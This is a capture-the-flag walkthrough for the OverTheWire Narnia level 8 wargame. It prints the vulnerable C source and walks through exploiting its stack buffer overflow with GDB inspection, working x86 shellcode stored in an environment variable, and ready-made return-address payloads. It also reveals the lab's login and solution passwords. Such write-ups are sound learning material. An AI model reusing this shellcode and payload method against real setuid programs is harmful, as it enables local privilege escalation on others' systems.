OverTheWire Narnia Level 8 → 9 Walkthrough
Published on 26 Aug 2023
Login
ssh narnia8@narnia.labs.overthewire.org -p 2226
# password: mohthuphog
Task
Binary: /narnia/narnia8
cd /narnia
./narnia8
# ./narnia8 argument
./narnia8 test
# prints: test
The binary just prints back whatever we pass in.
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int i;
void func(char *b){
char *blah = b;
char bok[20];
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n", bok);
}
int main(int argc, char **argv){
if(argc > 1) func(argv[1]);
else printf("%s argument\n", argv[0]);
return 0;
}
Analysis
bok
is only 20 bytes, but the loop doesn’t check bounds → buffer overflow.- By overflowing, we can overwrite stack values after
bok
, eventually reaching the return address. - The buffer is too small for inline shellcode → the intended approach is ret2env (jump into shellcode placed in an environment variable).
Exploitation Walkthrough
Step 1: Inspect the stack in GDB
Set a breakpoint at the printf
call inside func
:
gdb /narnia/narnia8
(gdb) disas func
(gdb) break *func+106
Run with 20 A
s:
(gdb) run $(python -c 'print 20*"A"')
(gdb) x/16wx $esp
We observe:
- Addresses of our input appear (e.g.
0xffffd871
) - Return address of
main
(e.g.0x080484a7
).
As we increase input length to 21, 22, … one byte of the saved address is corrupted. Each added byte requires us to decrement the pointer address by 1 to stay aligned.
Step 2: Control EIP
Payload pattern:
"A"*20 + <adjusted pointer> + "AAAA" + "CCCC"
Once tuned, EIP becomes 0x43434343
(CCCC), proving control.
Step 3: Place shellcode in environment
export SHELLCODE=$(printf \
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80"\
"\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"\
"\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80")
In GDB, locate it:
(gdb) x/s *((char **)environ)
# ... eventually shows "SHELLCODE=..."
# example at 0xffffde92
Replace “CCCC” in payload with this address (little-endian):
(gdb) run $(python -c 'print 20*"A" + "\x40\xd8\xff\xff" + "AAAA" + "\x92\xde\xff\xff"')
# → /bin/dash
Step 4: Outside GDB
Since GDB changes memory layout, compile a helper:
// /tmp/find_addr.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]){
printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
cd /tmp
gcc -m32 find_addr.c -o find_addr
./find_addr SHELLCODE
# e.g. SHELLCODE is at 0xffffdea1
Find adjusted input pointer from program output (subtract ~12), then build payload:
/narnia/narnia8 $(python -c 'print 20*"A" + "\x5e\xd8\xff\xff" + "AAAA" + "\xa1\xde\xff\xff"')
And boom:
$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
eiL5fealae
Password
eiL5fealae
Key Takeaways
- Small buffer = overflow.
- Each extra byte shifts stack → adjust pointer accordingly.
- Environment variables are a reliable place for shellcode when the local buffer is too small.
- Always test addresses outside gdb.
Thanks for reading!
You’ve now cleared all Narnia levels (0 → 9) 🎉. Time to celebrate and move on to the next wargame!
all tags
GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86